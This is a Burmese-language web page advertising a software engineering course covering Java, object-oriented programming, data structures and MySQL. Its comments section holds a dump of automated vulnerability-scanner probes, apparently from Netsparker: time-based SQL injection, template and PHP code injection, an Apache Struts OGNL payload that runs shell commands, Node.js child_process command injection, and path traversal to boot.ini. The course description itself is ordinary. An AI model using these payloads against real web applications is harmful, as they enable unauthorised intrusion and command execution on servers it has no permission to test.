Software တစ်ခုရေးသားဖန်တီးလျှင် မသိမဖြစ် Programming Language များ၊ Program တစ်ခုရေးဆွဲရာတွင် လိုအပ်သော Algorithm နှင့် Data များ မည်သို့သိမ်းဆည်းတည်ဆောက်ရမည်ကို သိရှိစေရန်အတွက် Data Structure and Algorithm ဘာသာရပ်တို့ကို သင်ကြားရပါမည်။ Software တစ်ခုရေးသားရာတွင်အဓိကလိုအပ်သော Object Oriented Programming Concept (OOP) များကိုအခြေခံမှစတင်ကာ အဆင့်ဆင့် စဉ်းစားတွေးခေါ် ပုံများကိုသင်ကြားပေးမည် ဖြစ်ပြီး Open Source ဖြစ်သော Java Programming Language ဘာသာရပ်ကို အသေးစိတ် သင်ယူလေ့လာရပါမည်။
Software Engineer ကောင်းတစ်ယောက် အဖြစ်ရပ်တည် အသက်မွေးဝမ်း ကြောင်းပြုနိုင်စေရန် Software ရေဆွဲရာတွင် အရေးကြီးသော လိုအပ်ချက် များ၊ တည်ဆောက်ပုံအဆင့်ဆင့် နှင့် ၎င်း Software နဲ့ လိုက်ဖက်သော Design Model ရွေးချယ်မှုများကို သတ်မှတ်ထားသော အချိန်၊ ငွေကြေးများဖြင့် ကိုက်ညီသည့် Software Product တစ်ခုထွက်ပေါ် လာစေရန်ရည်ရွယ် သင်ကြားပေးမည်ဖြစ်ပါသည်။ Software တွင်အသုံးပြုရမည့် Data အချက် အလက်များကိုလည်း နည်းလမ်းမှန်ကန်စွာ စနစ်တကျ ကိုင်တွယ်ထိမ်းချုပ်တတ်စေရန် Database Management System (MySQL)ဘာသာရပ် အကြောင်းကိုလည်း သင်ကြားရပါမည်။
Comments
\';netsparker(0x00B664);///
-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))
"+print(int)0xFFF9999-61625+"
',netsparker(0x00B691),'
-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+"
ns:netsparker056650=vuln
<?=(int)0xFFF9999-68839;//?>
netsparker(0x00B783)
') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1
{php}print(int)0xFFF9999-22808;{/php}
http://example.com/?
ns: netsparker056650=vuln
netsparker(0x00B785);
ns:netsparker056650=vuln
'{${print(int)0xFFF9999-35077}}'
{{268409241-45884}}
'+netsparker(0x00B789)+'
ns:netsparker056650=vuln
[php]print(int)0xFFF9999-97568;[/php]
'"@-->netsparker(0x00B78D)
=268409241-72346
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='73201').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
<%- 268409241-27066 %>
%22%2bnetsparker(0x00B7AB)%2b%22
print localtime()*0+0xFFF9999-24039
3
<#assign x=268409241 - 36463>
${x?string["0"]}
netsparker(0x00B7B6)
eval('print localtime()*0+0xFFF9999-57528')
<%= "#{268409241-58621}" %>
3
//r87.com/?0x00B7E3
'+print localtime()*0+0xFFF9999-42659+'
@(268409241-78631)
3
"+print localtime()*0+0xFFF9999-67450+"
3
{{ 268409241- 62836 }}
ns@mail.ns'"/>()%26%25netsparker(0x00B8D7)
${28275*28275-(50989)}
arguments[1].end(require('child_process').execSync('expr 268409241 - 67684'))
/../../../../../../../../../../boot.ini
3
Content-Type:text/html
ns(0x00B8D9)
(268409241-87168)
arguments[1].end(require('child_process').execSync('set /A 268409241 - 4893'))
#{28275*28275-(17607)}
3
/../../../../../../../../../../boot.ini.php
Pages